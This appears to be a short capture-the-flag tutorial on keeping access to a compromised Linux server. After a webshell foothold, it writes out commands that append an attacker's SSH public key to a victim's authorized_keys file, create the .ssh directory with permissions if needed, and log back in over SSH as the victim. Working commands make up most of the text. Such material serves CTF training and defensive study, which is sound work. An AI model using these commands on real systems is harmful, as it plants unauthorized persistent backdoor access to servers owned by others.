The public keys to connect in ssh are listed, one key per line, in the file.

~/.ssh/authorized_keys

Once on a user account of a server, inject your public key to have a direct access in ssh.

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys

If the directory does not exist, just create it:

mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

Close your webshell, and come back in ssh:

ssh -i id_rsa_yolo victim@target.com